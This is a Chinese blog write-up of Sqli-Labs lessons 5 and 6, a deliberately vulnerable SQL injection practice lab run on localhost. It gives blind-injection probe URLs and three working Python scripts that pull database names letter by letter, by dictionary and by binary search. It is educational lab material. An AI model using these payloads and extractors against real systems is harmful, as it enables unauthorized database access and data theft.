Chybeta

Sqli-Labs:Less5-6-writeup

Sqli-Labs是用来练习sql注入的好平台。project地址:https://github.com/Audi-1/sqli-labs
本文测试环境:使用phpstudy集成环境。mysql版本:5.5.53

Less5-6是盲注

Less 5

step1

访问

1
http://localhost:20000/sqllab/Less-5/?id=1


页面正常,返回:You are in……

step2

1
http://localhost:20000/sqllab/Less-5/?id=1'


报错。之后的过程要记得闭合单引号。

step3

依次访问如下链接:

1
2
http://localhost:20000/sqllab/Less-5/?id=1' AND 1=1 --+
http://localhost:20000/sqllab/Less-5/?id=1' AND 1=2 --+

页面返回信息不同。同时试着使用UNION SELECT注入,

1
http://localhost:20000/sqllab/Less-5/?id=' UNION SELECT 1,2,3 --+

页面返回 You are in……返回通用页面。故考虑盲注。这里使用推断攻击技术,通过推断一次一位地逐步提取信息。注入 id=1’ AND (condition)后,通过页面返回的信息来判断condition的真假。当condition为真时,会返回包含“You are in……”的正常页面,当condition为假时,返回空页面。

Exp1

Condition

1
2
Condition Example:
SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT num1-1,1),num2,1) = char
  • num1和num2都是整数,char为单个字符。
  • (SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT num1-1,1) 会返回查询到结果(即各数据库名称)的第num1行。
  • SUBSTRING(*,num2,1) 返回查询后结果的第num2个字母。
  • SUBSTRING(*,num2,1) = a 是布尔表达式,根据其真假,页面会返回不同的信息。

Something

  • 通过类似的方法,可以先获取数据库的数量,再根据数量依次判断。
  • 通过变化num1,num2,char,可以获取到最后的数据。
  • 多查询一位,通过返回的最后一位是否为空格来判断当前所查询字符串是否已经结束。

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import requests
import string
dataset = " abcdefghijklmnopqrstuvwxyz_"
querydata = "schema_name"
querydb = "INFORMATION_SCHEMA"
def sendPayload(payload):
url = "http://localhost:20000/sqllab/Less-5/?id=1' "+ payload
content = requests.get(url).text
return content
def findDatabaseNumber():
count = 1
while count:
payload = "AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1
def getDatabaseName(dbNum):
for k in range(dbNum):
i = 1
result = ""
while i :
for j in dataset:
querysql = "AND SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT "+str(k)+",1),"+str(i)+",1)='"+j
recv = sendPayload(querysql)
if "You are in" in recv:
if j != ' ':
result += j
i += 1
else:
print result
i = 0
break
def exp():
dbNum = findDatabaseNumber()
print "the number of database is "+str(dbNum)
getDatabaseName(dbNum)
exp()

Result

Exp2

Exp1中,是基于字典进行匹配的,效率低下。可以采用二分法来进行优化。大体思路如上跟Exp1相同。

Condition

1
2
Condition Example:
ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0 ,1), 1 ,1)) > 127

判断当前第一行的第一个字符的asll码值是否大于127。若该条件为真,则将127替换为 191 (即 (127+255)/2),若该条件为假,则将127替换为63(即(-1+127)/2)

Something

在写二分法盲注时遇到了一些问题,想了一些策略,但不知道是不是最好的。如果有更好的做法,希望留言告知

  • 搜索范围选择(-1,255),这样能包括的字符ASCII值x满足:0≤x≤255。当判断到所查询字符串结尾时,此时mysql对应的不是空格ASCII码32,而是0。假设所查询的第一个字符串长度为10,当查询到字符串尾部后(即第11个字符),下面这条语句是恒假的:
    1
    2
    ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0 ,1), 11 ,1)) > 0
    + 由于采用了递归二分法。这里用全局变量findBit用来判断当前字符串是否查询结束,若findBit为1,表明已经查完可以直接break跳到下一个查询。

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests
import string
import sys
querydata = "schema_name"
querydb = "INFORMATION_SCHEMA"
global findBit
def sendPayload(payload):
url = "http://localhost:20000/sqllab/Less-5/?id=1' "+ payload
content = requests.get(url).text
return content
def findDatabaseNumber():
count = 1
while count:
payload = "AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1
def getDatabaseName(dbNum):
global findBit
for k in range(dbNum):
i = 1
while i :
findBit = 0
doubleSearch(-1,255,i,k)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def doubleSearch(leftNum,rightNum,i,k):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if "You are in" in recv:
doubleSearch(midNum,rightNum,i,k)
else:
doubleSearch(leftNum,midNum,i,k)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
dbNum = findDatabaseNumber()
print "the number of database is "+str(dbNum)
getDatabaseName(dbNum)
exp()

Result

Less 6

Step1

  • 1
    http://localhost:20000/sqllab/Less-6/?id=1'

无报错

  • 1
    http://localhost:20000/sqllab/Less-6/?id=1"

页面报错,返回信息: use near ‘“1”” LIMIT 0,1’ at line 1。需要闭合双引号。

  • 1
    http://localhost:20000/sqllab/Less-6/?id=1" AND 1=1 --+

页面返回正常

  • 1
    http://localhost:20000/sqllab/Less-6/?id=1" AND 1=2 --+

返回错误页面(空白)

Step2

采用盲注。分析同Less5。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import string
import sys
querydata = "schema_name"
querydb = "INFORMATION_SCHEMA"
global findBit
def sendPayload(payload):
url = 'http://localhost:20000/sqllab/Less-6/?id=1" '+ payload
content = requests.get(url).text
return content
def findDatabaseNumber():
count = 1
while count:
payload = "AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA) ="
payload = payload + str(count) + "--+"
recv = sendPayload(payload)
if "You are in" in recv:
return count
else:
count += 1
def getDatabaseName(dbNum):
global findBit
for k in range(dbNum):
i = 1
while i :
findBit = 0
doubleSearch(-1,255,i,k)
i += 1
if findBit == 1:
sys.stdout.write("\r\n")
break
def doubleSearch(leftNum,rightNum,i,k):
global findBit
midNum = (leftNum + rightNum) / 2
if (rightNum != leftNum +1):
querysql = "AND ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT " + str(k) + ",1)," + str(i) + ",1)) > " + str(midNum) + "--+"
recv = sendPayload(querysql)
if "You are in" in recv:
doubleSearch(midNum,rightNum,i,k)
else:
doubleSearch(leftNum,midNum,i,k)
else:
if rightNum != 0:
sys.stdout.write(chr(rightNum))
sys.stdout.flush()
else:
findBit = 1
return
def exp():
dbNum = findDatabaseNumber()
print "the number of database is "+str(dbNum)
getDatabaseName(dbNum)
exp()

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】